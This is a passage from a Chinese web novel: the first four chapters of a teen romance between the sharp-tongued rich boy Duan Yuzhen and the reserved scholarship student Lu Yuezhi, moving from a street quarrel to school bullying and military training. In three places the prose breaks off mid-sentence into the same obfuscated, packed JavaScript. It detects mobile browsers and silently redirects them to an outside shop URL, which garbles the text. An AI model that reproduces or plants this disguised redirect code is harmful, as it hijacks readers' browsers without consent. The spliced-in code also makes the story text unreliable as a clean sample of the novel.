《热带雨林》 1. 01 盛夏的正午。 陆岳之站在香樟树茂密翠绿的浓荫下,看着程斯言向自己走近。 很快,程斯言来到了他面前,情绪低落:“走吧。” 陆岳之发现他神情有些灰暗,本想问问他是不是在别墅里遇到了什么事,但又懒得给自己找麻烦,于是只嗯了一声。 两个人正要迈步离开,一辆蓝色跑车以极其高调的速度风驰电掣地从街道尽头驶来,最后稳稳地停在路边。 陆岳之和程斯言都不由自主被这辆车吸引了注意力。程斯言起初还惊喜了一下,但等他看清车里是谁之后,脸色便再次迅速阴沉下去。 坐在副驾驶位的少年解开安全带,单手撑着车身,轻巧地从座位里跳了出来。他身材比例极佳,体型清瘦匀称,薄薄一片,典型的衣服架子,穿着身宽松的大T恤和牛仔裤,几串哥特风的金属裤链随着他的动作撞得当啷作响,脚上则是简单的球鞋。 在黑色做旧棒球帽的帽檐下,少年那满头白金发色极为惹眼;露出来的小半张脸轮廓紧致优美,唇色浅淡,右侧还戴着两枚唇环。他边走边低头在手机屏幕上敲打,完全没注意到自己的不远处站着两个人。 陆岳之眯起眼睛,暗自观察着这个陌生人的外形。 少年身上有着钻石一样炫目的气质,存在感极强,是天生就无法融入人群的那种浓烈与独特。 “小真,等等我。”严烈绕过车子,拿着墨镜急匆匆追上来,搭上段予真的肩膀:“以后不要再像刚才那样跳车了,很危险。” 慵懒的,丝绸般细腻悦耳的声线从淡色的唇间飘出:“怎么,心疼你的爱车了?” 严烈无奈:“别闹了公主殿下,我是怕你伤到腰好么。” 他发觉有人一直盯着这边,便皱眉看了回去,看到是程斯言,脸色僵了下,晃晃段予真的肩膀示意他也看:“哎,小真。” 段予真随着他的话音,终于抬起头。 尚未完全长开,精致的五官就已经美得惊人,眼波流转间,那双精致的丹凤眼甚至蕴着几分妖媚。这张脸与他本身的气质相符,是无比浓艳、吸睛,第一眼就勾魂摄魄的长相。很危险的美丽。 脸的主人显然也非常清楚自己的外貌优势,看人时目光仿佛带电,直勾勾毫不胆怯,带着少年人特有的傲气,洞若观火,令被他注视的对象几乎是难以自控地皮肤酥麻,心头震动。 段予真直接忽略了陆岳之,盯着程斯言,慢悠悠地来到他面前:“好稀罕呀。阴沟里的老鼠怎么突然跑到太阳底下了。” 程斯言磨了磨牙,没有吭声。 陆岳之从外形造成的迷惑中清醒过来,皱起了眉,看着这个少年继续用漂亮的嘴唇吐出刻薄的话: “不说话,装死?你的脸皮怎么就能厚到这种程度,以为我们家是废品回收站啊,老送些没用的垃圾过来。我还得麻烦宋姨拿去扔掉。” “嘴巴放干净点。”陆岳之忍不住开口了。 段予真这才惊讶地发现,原来程斯言旁边还有个人。他简单地扫了陆岳之一眼,又高又瘦,倒是个很端正的帅哥长相,但恰恰因为太端正太标准了,反而没太多记忆点,转头就忘。 也就只有那点冰箱里的刺猬一样的,冷冰冰、凶巴巴的气质,让人还能产生两分愿意继续琢磨他的兴趣。 严烈不满地从段予真身侧迈出,面对面和陆岳之对峙:“你谁啊,这有你说话的份吗?” “回来。”段予真将严烈按住,狐疑地望着陆岳之:“你又是哪位。程斯言每回都骂不过我,这次终于知道找援兵了?” 陆岳之看了眼低头不语的程斯言,沉声说:“我是他朋友。” 其实,他们只是在同个兼职群里认识,暑假一起进过工厂的熟人。但以当下的情况,如果坦诚说是熟人,就会显得他非常多管闲事了,气势也会被削弱很多。 “是吗。”段予真惊讶地睁大眼睛,神情无辜,说出的话却是极其残酷: “既然这样,你应该也知道,你的好朋友程斯言单恋我嫂子,都看到人家谈恋爱了,还总是贼心不死地往我家跑——程斯言,你不用这么瞪着我。每次你跑到这来,说是来看望我妈妈,其实都是专门挑我哥带我嫂子回来的时候。没想到他们今天不在吧?” “闭嘴!段予真你知道什么?你没资格评判我!”程斯言浑身颤抖,猛地喊了出来。 段予真收住声音,看他的眼神带有一丝轻蔑。 难道不被人说出来,事实就不存在了吗?只不过是掩耳盗铃罢了。 他跟程斯言早就结了梁子。这个人年龄比他还大两三岁,为人处世却极其幼稚可笑,作为被他妈妈徐清然好心资助的学生,竟因为自尊心受挫,反过来指着徐清然的鼻子,骂她自以为是,把自己当成了了不起的救世主。 徐清然不和程斯言计较,但段予真咽不下这口气。这个仇他会记一辈子。 “这就听不下去了。”段予真微笑着说:“你做的缺德事何止是试图挖墙脚这一件,怎么,没敢告诉你朋友啊?要不要我都说出来给他听听。” “闭嘴,你闭嘴!”程斯言竟是要朝他扑过去。 段予真镇定自若地站在原地,而严烈已经冲上前,将程斯言狠狠推开。 程斯言踉跄了几步,眼珠都瞪得赤红。他这强烈的反应让陆岳之颇为诧异。因为他表现得越是激动,反而越证明段予真没有胡说八道,而是真的戳中了他的心事。 “走吧,别理他。”程斯言抹了把脸,绕过段予真逃似的快步走开。陆岳之最后看了段予真一眼,两人对视,段予真挑衅地扬起半边眉毛,软红舌尖缓缓舔过下唇的银色小环。 像是不小心被蔷薇梗上的嫩刺扎了一下,垂在身侧的手指猛地一颤,随即蜷缩着攥紧。陆岳之仓促地转过身,在心脏的狂跳声中追上程斯言。 * 段予真张开手臂倒在沙发里,摘下扣在唇角的假唇环,又将棒球帽远远丢开。因为长时间佩戴,唇边那片皮肤留下了两个浅浅的小窝,段予真不太舒服地老是忍不住想去舔。 他很想去做真的穿孔,戴各种嚣张的亮晶晶的装饰品,而且不只是在嘴唇上。可接下来毕竟还要在国内念书,这样的话生活就不太方便了,计划只能暂时搁置。 严烈取了两听可乐过来,替他拉开拉环:“小真。” “不想喝这个。”段予真拿起遥控器翻找节目:“我要喝草莓可可,秋阳路那家甜品店做的。给我买。” “祖宗,刚刚在外面你也没说要喝啊。”严烈一口气喝完冰镇可乐,把易拉罐攥瘪,投进几米外的垃圾篓里。他挤到段予真身边坐下,头顶还冒着打完球之后的热气,像头刚晒完太阳的大熊。 段予真被他过高的体温烙得受不了,爬起来将自己挪到沙发另一边:“刚刚不想喝,现在就是想喝了。你说怎么办吧?” 严烈捏了捏鼻梁,按着膝盖站起身:“还能怎么办,外送他们家又不肯做,小的这就去给你买。” 他走后过了两分钟,保姆宋姨拿着鸡毛掸子从旋转楼梯下来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971437|193459||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,看到段予真回来,忙说:“小真,刚才程家那小伙子来了趟,给带了点茶叶,说是家里长辈自己种的。你看看收到哪合适?” “……放我妈书房里吧。”段予真烦躁地应了句。 宋姨将茶叶拿去书房。段予真看了会儿球赛,就抱着沙发靠枕慢慢睡着了。 段予真醒来的时候才过了半个小时。他身上多了条薄毯,方琬知坐在旁边,严烈则在另一边沙发上低头剥橘子。 “醒啦?”方琬知笑着捏了捏他的脸。 段予真爬起来腻在他怀里,毛毛虫似的扭来扭去:“我也要吃橘子。” 闻言严烈把手里剥好的蜜橘递了过来,段予真却一扭头:“不要,你太臭了。我要吃我嫂子剥的。” “那我去给你拿你的草莓可可。”严烈早已习惯他的任性,一口将橘子整个吞了,去取放在冰箱里的饮品。 方琬知挑了个橘子,认真地慢慢剥着。 “纤手破新橙。”段予真嬉笑着念了句词,搂住嫂子的手臂:“方琬知你什么时候回学校?暑假还有一阵子呢,再多呆几天陪陪我嘛。” “不行呀,你哥特别积极,把机票都给订好了。”方琬知扒了一瓣橘子喂给他,自己也吃了一瓣:“明天早上就走。你要是愿意不睡懒觉的话,我们还可以一起吃早饭。” 段予真嚼着橘子,在睡懒觉和陪嫂子吃早饭两件事中间纠结了一会儿,最后绝望地说:“那我们还是等放假再见吧!” 跟方琬知分着吃完一个橘子,段予真又喝了大半杯饮料。他胃口小,晚饭也不想吃了,被严烈哄着才慢吞吞到餐桌边坐下,尝了两块糖醋小排就放下筷子。 严烈以为他偏爱这道菜,又夹过来一块:“再吃点吧小真,只运动不补充蛋白质,会长不高的。” “长那么高干嘛?壮得像座山一样,难看死了。”段予真喝了点水,腻烦地站起身:“我要去散步,别跟过来。” 他没有带手机,推着山地车就出门了。 夏季的傍晚,风都是温热的。段予真绕着家附近的公园骑了两圈,忽然看到前面的路边上有个眼熟的身影。 他骑着车在后面。骑过了一段路,对方忽然停下,敏锐地回头看了过来。 段予真不是刻意跟着他,只是恰好俩人都选了这条道,所以没有躲闪,坦然地和他对视。 陆岳之皱起眉头。 他等了一分钟,见段予真并没有解释的意思,于是转身继续往前走。没走几步,便感觉到那辆车子仍然戏弄般地跟在不远不近的地方。 陆岳之再次突然刹住脚步,看着段予真冲到自己身侧,伸手抓住了他的车:“你这是在干嘛。” “散步。”段予真握着把手挣扎了一下。这家伙看着挺瘦削,手上力气竟然奇大无比,让他没办法挣脱。 “散步为什么要跟着我。”陆岳之看了看前面的分岔路口,又回头看着段予真的眼睛:“有意思么。” “你才有意思呢。这是马路又不是你家,我爱往哪里骑你管得着吗?”段予真习惯性地去舔唇环,但是没舔到。于是焦躁地又舔了一下。 陆岳之沉沉的视线不自觉随着他的舌尖轻微晃动,忽然间意识到这种关注已经越界了,于是迅速落到地面。 他松开手:“是管不着。你和程斯言的矛盾也别扯到我身上来。所以,离我远点。” 自我意识过剩。段予真很轻地嘁了一声,竟也被陆岳之的耳朵捕捉到。他眯起眼睛,带了点火气地问:“怎么,我说错了?” 2. 02 段予真只觉得这人脑子多少有点问题,难怪能和程斯言玩到一块。他调整了一下车头方向就要走,但车子又被陆岳之抓住:“解释。” “解释什么?”段予真莫名其妙。 陆岳之深黑的眼珠里是藏不住的恼火,眉头紧拧着:“你刚才嘁一声是什么意思。” “觉得你真幽默。”段予真诚实地说:“只是恰巧跟你走了同一条路而已,就能自己幻想出一大堆没有的东西。” 陆岳之额角青筋绷起,走近了两步,高大的身形将段予真罩住:“你嘴巴一直都这么毒吗?看来是从来没被人好好教训过。下来,向我道歉。” 段予真毫不示弱地仰脸瞪回去:“想得美。你先给我松手。” 陆岳之不再废话,直接单手把他从车上拎下来,然后推着他的车继续大步往前走。 “你——你!”段予真想不起来他叫什么名字,恼怒地跟在旁边:“把车还给我。” “道歉。”陆岳之冷漠地说。 段予真从小到大就没学过道歉这两个字,见势不好就要找外援,摸了摸裤子口袋才想起来出门没有拿手机。 他倔脾气也上来了,硬是闷头跟着陆岳之走了五六公里,一直走到天黑透,来到一座老旧的居民楼底下。 陆岳之瞥了眼咬紧嘴唇一路跟在自己身后的段予真。昏暗中他奶油般的皮肤更是白得晃眼,脸上细密汗水不断滑落,竟然没有寻常男生的汗臭,而是散发出淡淡的柚子香气。 像是一只快融化的柚子味冰淇淋。清新甜蜜的气味,无声地不断在沉闷楼道里氤氲开。 陆岳之喉结动了动,忽然就有些干渴。 “道歉。”他从楼梯间堆积的几块砖头后面拿出一个自行车锁,朝段予真晃了晃,意思是再不道歉车子就真的要留下了。 段予真仰脸瞪着他一言不发。 陆岳之嗤笑了声,俯身干脆利落地把他的山地车锁住,然后拿着钥匙往楼上走。 段予真固执地继续跟着他,直到他在顶层的家门口停下。陆岳之拿出钥匙开门,吱吱呀呀的大铁门刚拉开,段予真就从他胳膊底下钻进屋子。动作灵巧得让陆岳之都愣了。 段予真站在客厅里,张开手臂宣布:“你再不把车还给我,我就赖在这里不走了。” “随便你。”陆岳之走进玄关,拉上门时嘭地一声,惊动了厨房里炒菜的母亲。 杨素花握着锅铲走出来:“回来了?在厂里吃过了吗?让你带瓶老抽咋也没回我。” 陆岳之一一作答:“吃过了。没看手机,我现在下去买。” “不用,你爸已经去了。”杨素花目光转到段予真身上,迟钝地发现客厅里还站了个人,张了张嘴:“这是谁?” 段予真在长辈面前颇有几分乖巧腼腆,喊了声:“阿姨好。” “哎,你好。”杨素花还是愣愣地看着他,回不过神。 “我,不好意思阿姨我忘记换拖鞋了……”段予真不安地缩回到玄关,却听到陆岳之冷笑着说:“水泥地你还换什么鞋。” 段予真此刻整个人都蜷缩了起来,语气也有软化的趋势,看着他:“快点把车还给我啊。” 陆岳之还是那种冷硬的语气,毫不松动:“先给我道歉。” “天都这么黑了,要是再晚一会儿,我不认识路回不了家,在外面遇到危险怎么办。”段予真眨了眨眼,眼尾泛起湿润的红:“我家里会担心的。” 陆岳之一手插进裤兜,捏着那串钥匙,垂眼看着个头只到自己肩膀的段予真。 “那就道歉。”他像个复读机。 段予真一扭头:“不可能。我又没做错事,才不要向你道歉。” 杨素花走近了些:“这孩子也是厂里的?看着不像啊。” 陆岳之说:“不认识,路上捡的。” 他转着钥匙圈走进自己的房间,关上了门。 段予真对杨素花笑笑,在陆岳之房门外的一把竹椅上捧着脸坐下。杨素花也友善地对他笑了笑:“孩子你叫啥名啊?吃饭没有,过来一块儿吃点。” “阿姨我吃过了,谢谢你。”段予真规矩地挺直腰板:“我叫段予真。” “那你喝点水,看看电视。”杨素花回到厨房里。 陆岳之换下身上沾了脏污和汗味的衣服,从房间里出来。段予真仍坐在那把椅子上,低头看着自己脚下的水泥地,不知道在想什么。 “只要你不道歉,在这里等一夜我也不会把车还给你。”陆岳之告诉他。 “我能不能借一下你的手机?谢谢。”段予真说。 他的礼貌让陆岳之很不适应,缓了几秒才把手机拿出来给他。段予真拨了个号码,那边秒接:“小真!你到哪去了?” “我在别人家里,你来接我。”段予真的语气是肆无忌惮的娇蛮:“快点。我在……” 他抬头看着陆岳之,听后者报出地址,复述了一遍,被严烈吵得受不了,拧起眉头烦躁地说:“反正现在就是在这里了,你不来就让我哥来。” 挂断之后他把手机还给陆岳之,又说了一遍谢谢。 “怎么,突然学会文明待人了?”陆岳之戏谑地说。 段予真没理他,低头继续看着水泥地,看了一会儿忽然说:“你家进了好多蚂蚁。” 他听到楼下有跑车的声音,站起身往外走,临走之前又对陆岳之说:“那辆车我不要了,道歉你想都别想。可恶的混蛋。” 陆岳之站在客厅的阳台上,望着段予真坐进那辆和小区环境格格不入的蓝色跑车,和他的朋友一起离开。 * 严烈问了两个不该问的问题。 第一个是:“小真你到底怎么跑到这里来的?” 第二个是:“小真你的车呢?” 段予真抱着手臂,面无表情地看着他。 严烈摸了摸后脑勺:“好吧!我又说错话了。” 到家后段予真筋疲力尽地回到房间里洗澡。洗完躺在床上,眼前浮现出瘦高个(段予真还是不知道他叫什么名字)那张木讷的脸,他气得抱住自己的仙人掌抱枕又踢又打。 这个家伙,不愧是和程斯言一伙的,各有各的讨厌。 早晨段予真又赖床到十点多才起,下到客厅的时候,严烈正坐在桌边吃着江姨准备的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971438|193459||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早餐,看到他便笑呵呵地打招呼:“公主殿下,早啊。” “天天来蹭饭。这里到底是你家还是我家。”段予真郁闷地说。 他穿着一套米白色真丝睡衣,还不太清醒,两手揉搓着脸颊肉,神态中难得流露出了些许稚气。 吃完两片吐司,段予真就上楼回到书房里。看了会儿漫画,他开始练钢琴,非常悠闲。 之前他一直在a国念书,每次假期快结束的时候是没这么清闲的,往往都在忙乱地收拾行李。不过今年一直照顾他的保姆退休了,段予真觉得很不习惯,便在和母亲商量之后选择从国外转回到国内念书,感受不同的校园氛围。 手续已经办理好,秋季开学后,段予真会进入严烈所在的西屏中学。 练着钢琴,段予真突然听到外面拨动车铃的声音。他到落地窗边低头去看,看到瘦高个推着自己的山地车站在草坪围栏外面,等待片刻,又拨了几下。 “喂!”段予真跑到露台上,踮着脚朝瘦高个挥挥手,等他推着车来到附近,便板起脸,抱着手臂一脸不高兴地问:“你这是在干嘛。” 他在学陆岳之昨天说话的口气,学得惟妙惟肖。 陆岳之的脾气不算好但也不能说坏,平时都稳定得像一潭死水,不知为何总是轻易地被这个行事跳脱的小少爷激怒,拧起眉毛:“你的车不要了?” “不要了啊。”段予真居高临下望着他。 “那我拿去卖掉。”陆岳之说着转身就走。 段予真轻轻笑了:“你知道这车多少钱吗?拿去卖,车行还未必敢收。” “谁说我要卖二手车了。”陆岳之粗鲁地拍了拍车座:“把它拆掉,卖破烂也是卖。” 他这么说,段予真就开始急了:“你不许拆!” 他急匆匆地跑下楼,跑出别墅,隔着一道围栏:“不许拆我的车。” “你自己说了不要,所以现在这是我的车。想要的话拿钱买回去。”陆岳之平静地说着厚颜无耻的话。 段予真还是头一回见识到这种人:“你……” 严烈见他着急地往外跑,这时也跟了出来:“小真!” 陆岳之看向严烈。 他在学校里其实见过严烈几次,印象里这人总跟几个富家子弟吊儿郎当地走在一起,完全看不出在段予真面前这副狗腿的模样,所以昨天一时还没想起来。 严烈来到段予真身边,很自然地握住他一只手,将他半护在身后:“小真,怎么了?” 段予真不耐烦地说:“没事。谁让你出来了。” 语气很差,但他被严烈拉着的右手并没有挣扎,显然早就习惯了。 陆岳之看着两个人牵在一起的手掌,胃里忽然涌出不太舒服的感觉。就是那种看到了不和谐,不匹配的东西时,突如其来的古怪的不适。 “车还给你。”他把段予真的山地车停在路边,就扭头走了。 “这人什么意思?” 他听到严烈在身后纳闷地问,但是没听到段予真给出回答。 可能又是在他看不见的地方露出了那种高傲,轻蔑,不屑一顾的表情吧。随便了。 3. 03 早晨细密地下了一场雨,空气很闷。 陆岳之撑着格子伞走进教学楼的门廊,将伞收起,抖了抖雨水。 一股淡淡的柚子味忽然飘进他的呼吸。陆岳之敏锐地循着味道扭头望去,面前空荡荡,只看到湿滑的瓷砖地板。 他停顿了一下,抓着伞慢慢地走上楼梯。 几分钟后,陆岳之被人扯着校服衣领拖了下来。 对方个头没他高,满脸横肉,和四五个同样歪瓜裂枣的跟班一起将陆岳之围住,推搡着带到教学楼侧面的监控死角区。 “哟,前两天见义勇为的时候,不是挺横么,现在知道认怂了?”为首的胖子说几个字就气喘吁吁,眼珠爆突,恶狠狠地盯着陆岳之没有表情的脸:“妈的。真以为出了厂,就逮不到你是吧。” 陆岳之拳头在身侧攥得咯咯作响,颧骨紧绷着一言不发。 前天晚上他到打暑假工的厂里签字领工资,要走的时候看到这死胖子在勾搭一个战战兢兢的女孩,想着反正以后也见不到面,就上去阻拦。两人争执了几句,差点要动手,那女孩子跑去把管事的组长叫了过来,事情才算作罢。 胖子用力踹在他腿上:“你说你他妈一个死书呆子,装什么英雄,逞什么能啊?你有那个本事吗?!” 陆岳之压着怒火,瞥了眼校服裤上带着泥水的鞋印,仍然无动于衷。 在学校里他是不会跟人动手的。他需要奖学金,一旦打架斗殴被记过,不管究竟是谁的过错,资格都会取消。 “怎么不说话,哑巴了?那天跟老子对喷的时候,不是挺能说的么!”见他没有还击的打算,胖子态度越发张狂,抬腿又是一脚。 在几人的哄笑声中,陆岳之踉跄着靠在墙上。他俯身拍了拍裤子上的脚印,动作慢条斯理,似乎根本没把这一圈人当回事。 这傲慢的反应瞬间点燃了胖子的怒火,伸手就攥住陆岳之的衣领:“杂种玩意儿,你敢不敢直视老子!” 话音刚落,他突然感觉到一股凶猛的力道朝自己袭来,扭头去看时已经来不及躲避,迎面被篮球重重地砸在了脸上。 鼻子猛然一热,大量的鼻血迅速涌出,沾满了他下半张脸。胖子愤怒地看向扔篮球的人:“没长眼啊?!你是不是——” 那个“瞎”字没说出口,被他硬生生憋了回去。 严烈拎着书包,跟在一个穿着崭新校服的陌生少年身后,慢慢地朝他们走了过来。 少年是他们这堆人里最瘦弱的,却丝毫没有影响他身上近乎嚣张的耀眼气质。一时间,所有人的目光都凝滞在了那张艳丽的脸蛋上,被凤眼冷漠地扫视一圈之后,又纷纷怯懦地收回。 陆岳之也看了过去,瞳孔一缩,垂下视线沉默地望着地面。 胖子抹着脸上的鼻血,含糊的声音里满是讨好:“是严少啊……刚我还想着,来了西屏必须得去找你打个招呼。厉害厉害,砸得真准哈哈。” “大清早就这么热闹,这就是西屏的校风吗?真是长见识了。”段予真两手缩在校服袖子里,敷衍地鼓了鼓掌。 严烈视线转一圈,大致看明白了情况。 刚才的篮球是段予真砸过来的,已经表明了他的态度。严烈现在只是代为发声,抬了抬下巴,命令胖子:“给人道歉。” 胖子诧异地张着嘴,咽了下鼻血,说:“但是,严少,咱们不是一边的吗?这死穷鬼……” 段予真惊讶地转过身看着严烈:“我不在的时候,你平时就跟这种人玩?” “没有!小真。怎么可能啊。”严烈慌忙解释:“一个见风使舵的狗腿子罢了。” 他加重语气:“刘啸,赶紧给他道歉!” 刘啸又抹了把嘴上的鼻血,眼珠转了转,暗自揣测着段予真的身份,在严烈的目光威慑中,终于转头扯出个丑陋的笑脸,对陆岳之说:“对不起哈哥们儿。这事儿就在这结了吧,以后大家和平共处,love and peace。” 陆岳之仍旧没有出声。 在段予真和严烈跟刘啸这伙人交涉的过程中,他一直垂眼死死地盯着地面上脏乱的脚印。 严烈一撇头:“滚。” 刘啸赶紧带着跟班们灰头土脸地滚了。 段予真终于看向陆岳之,似乎想发表些意见,但最后什么都没说,厌恶地瞥了眼地上沾着鼻血的篮球,将严烈一拉:“走了,我还没看到教室呢。” 等他转过身,陆岳之忽然出声了:“段予真。” 段予真没有回应,摸着染黑的头发跟严烈抱怨:“讨厌,我的白金色都还没看腻,又得回到这个无聊的颜色了。” “无聊吗?我觉得很好看啊!公主殿下每个发色都好看。”严烈实力演绎着见风使舵的狗腿子。 陆岳之提高音量又喊了一声:“段予真!” 段予真不悦地侧头看过来,眨了眨眼,终于想起他是谁,眼中划过几丝惊讶,随即懒洋洋地说:“别叫了。” 他才认出来这是程斯言的朋友瘦高个。之前看着还挺横的,没想到会被这群小混混给为难住。 “谢谢你。”陆岳之定定地看着他的脸。 严烈警惕地瞥他一眼,立刻两手按着段予真的肩膀将人往前推,同时用自己宽阔的后背隔绝了陆岳之的视线。 西屏秋季开学第一天只是报到和交暑假作业,接下来还有为期十天的军训,之后才正式开始上课。军训高一高二都要参加,只有备战高考的高三生可以免掉。 严烈建议段予真让家庭医生给开个假条,没必要遭这趟罪。但段予真听他说完,竟然兴冲冲的很是期待:“我还没参加过军训呢。” “小真你不会以为很好玩吧?无聊死了,把你关在郊外那个破军训基地里面,手机也不让带,整天顶着太阳踢正步,动不动就集体挨罚。吃得连我家狗都不如。” 严烈叫苦不迭:“这傻叉学校。要不是我爸非让他朋友把我硬塞进来,老子才不在这念。” 其实这罪也是他自找的。他都18了,暑假把驾照都已经拿到手,这学期本该升上高三,但他想陪着段予真,于是主动跟老师提出要复读一年。 他成绩挺烂,最高也就能考到年级中游。因此提出复读时,还把他爸妈给感动了一把,以为学习废料从此要开悟了。 段予真新奇地俯瞰着整个校园:“那你别去了。” “你要去,我怎么可能不去?”严烈阴恻恻地说:“我还得去监督你。” “监督我什么?”段予真转过身靠着走廊,挑眉看他。 严烈被他看得涨红了脸,磕磕巴巴地说:“监督你别趁我不在,在外面勾搭野男人……别以为我不知道,你在外面跟那些外国佬date ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971439|193459||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来date去的,要不是离得太远不方便,老子早就通通收拾了。” 段予踹了他一脚。严烈满不在乎地低头拍着裤腿上的灰:“别踹到蛋就行。公主殿下,踹坏了你可要对我的下半生负责。” 他刚拍打干净,就被段予真迅雷不及掩耳地又踹了一脚。 “坏了你就去当太监。”段予真嫌弃地说。 严烈顺杆爬:“公主殿下的专属太监。” 段予真翻了个白眼,丢下他去逛别的地方。 他顺着天桥往前走,来到对面的综合楼,在拐弯处听到一个男生和一个女老师的对话。 “沈老师,谢谢您,但是这个补助还是给更需要的人吧。”男生的音色听起来很舒服,温和斯文。 “我们现在不是师生身份。阿群,我是你的姑姑。”沈老师无奈地说:“虽然你现在跟着你妈妈生活,但我们始终是亲人,一家人。不要说这么见外的话,好吗?” 男生沉默了下,苦笑着说:“沈老师,我并不这样认为。” 安静片刻,沈老师说:“那好吧。你需要帮助的时候可以去找我。” “嗯。”男生答应完,从拐角处走了出来,面对面和段予真撞了个正着。 他的长相和他的声线一样,干净、英挺,眉眼中有种这个年龄难得的沉稳气质。看到段予真,他眼睛亮了下,友好地点点头。 接着,他扶着右腿,一瘸一拐地绕过段予真走开了。 段予真跟过来:“你的腿受伤了吗?要不要我扶你去医务室。” 不过他还不熟悉医务室在哪,恐怕需要这个男生带路。 “没有。”男生停下来看了看自己的腿:“我右腿残疾,治不好的。” 段予真也看着他藏在校服裤里的右腿:“不好意思,是我冒犯你了。” “不用道歉,我不觉得是冒犯。”男生自我介绍:“我叫沈群,你呢?” “段予真。” “给予的予,真理的真吗?”沈群笑着问。 段予真点点头:“你猜得挺准呢。我还有个大哥叫段予哲,哲理的哲。我爸妈起名字可真会省事。” 沈群忍俊不禁,笑了一会儿,说:“很高兴认识你。你是高一新生吧?之前都没见过。” “不是,我是高二生。”段予看看两人的身高差距,无奈地强调:“我真的是高二生,这学期刚转过来。” 沈群伸出手:“好吧,有点遗憾,本来还以为可以听你叫我学长。我在三班,交个朋友怎么样?” 段予真跟他握了一下。沈群握着,忍不住捏捏他的指尖:“你的手好软。” 一般来说,这种有点骚扰性质的话都会激怒段予真,但沈群语气诚恳平和,他也没生气,反握住沈群的手指:“嗯,你的手好大。” 两人说着话,沈群突然向斜对面看去。他看到另一边的教学楼走廊上,总是在年级里名列前茅的知名好学生陆岳之,正用难以描述的复杂眼神凝视着段予真的背影。 对方显然也发现了他,但是完全没有掩饰的意思,仍没礼貌地盯着段予真看个没完。 沈群下意识地拉了段予真一下,将他拉到自己身边。段予真忙着专心对比两个人手掌的差距,被他一拉,抬起头睁大眼睛呆呆地问:“怎么了?” “没事。”沈群对他微笑。 4. 04 开学之后段予真遇到的最大困难就是早起,军训期间还要起得格外早。 他臭着脸坐在去军训基地的大巴车上,不能玩手机,于是侧着头,望着窗外还没上车的密密麻麻的学生们。 严烈没跟他分到一个连队,这时也不知道在哪。 身边忽然沉了下。段予真扭头看去,陆岳之目视前方,一本正经地端坐着。 段予真至今不知道这个家伙叫什么,也没兴趣知道,别人愿意坐在这里他又管不着,于是继续看着窗外。 车子开动的时候,陆岳之突然问:“你没带水吗。” “什么水。”段予真没回头。他的背包是昨晚宋姨给收拾的,早上严烈又检查了一遍,按理说里面会有水杯。但背包放在行李架上,段予真懒得取。 陆岳之提醒他:“从这里到军训基地要坐三个多小时的车,今天很热,车厢里又闷,没有水喝会很难熬。” 段予真懒懒地说:“我等会儿就睡着了。” 陆岳之不再说话,拿出自己的水喝了两口又放回包里。车子开出去没多久,段予真竟然真的抱着手臂,额头顶着窗户在哄闹的车厢里睡着了。 陆岳之静悄悄地瞥着他。 不得不承认,段予真睡着的时候很乖,一派温柔善良小天使的模样。尤其是他现在把发色染回了黑色,刘海微微遮住眉眼,唇角弧度很浅地往上轻抿着,有种文静内秀的感觉。 陆岳之知道,等他睡醒一睁开眼,这暂时的幻觉就会被打破。段予真不是个静得下来的人,他活泼得如同一串刚吹出来的肥皂泡泡,无论是用声音外形还是气味,总要制造点动静让人注意到他。 虽然这种动静可能并非他有意为之。 都是男生的车厢实在太吵了,段予真没能睡完全程,还有半个多小时的时候睁开眼睛醒了过来。他眼里蒙着湿润的雾气,耷拉着眼皮坐在位置上发怔,双颊泛粉,像个刚从锅里蒸出来的小猪包,脸蛋看起来软绵绵的,很是Q弹可口的样子。 但又眉心紧锁,是个很不好惹的小猪包。 段予真怔了几分钟,眼神逐渐清明,眯眼望望窗外:“还没到。” 他有点口渴了,看看旁边的陆岳之,牵了下陆岳之的袖子:“你好。” 陆岳之闭着眼假寐,被他轻轻一牵就看了过来。段予真说:“可以帮我拿一下水杯吗?在背包里面。我想喝水。” 陆岳之看看行李架:“都堆在一起了,不好拿。” 他从身侧的位置抽出一瓶没喝过的纯净水,递给段予真:“喝吧。” “谢谢你。”段予真拧开瓶盖喝了两口,疑惑地说:“是热的。” 瓶子一直攥在陆岳之手里,是他手心的体温把水捂热了。他随口解释:“车厢太闷。” 段予真不习惯喝热水,但眼下也没得挑了,还是喝了小半瓶。 他无聊地晃着瓶子里剩下的水,终于想起来问一句:“对了,你叫什么名字啊。” 陆岳之慢慢转过头来,漆黑的眼珠里隐隐冒起火光,很显然又被段予真的提问挑衅到了。 段予真摆摆手:“不想说就算了。” “陆岳之。”男生压低声音,同时也压抑着不满的情绪:“陆地的陆,丘山岳,之乎者也的之。你记清楚。” “嗯。”段予真答应得漫不经心。他已经被外面路边的大片农田吸引了注意力。 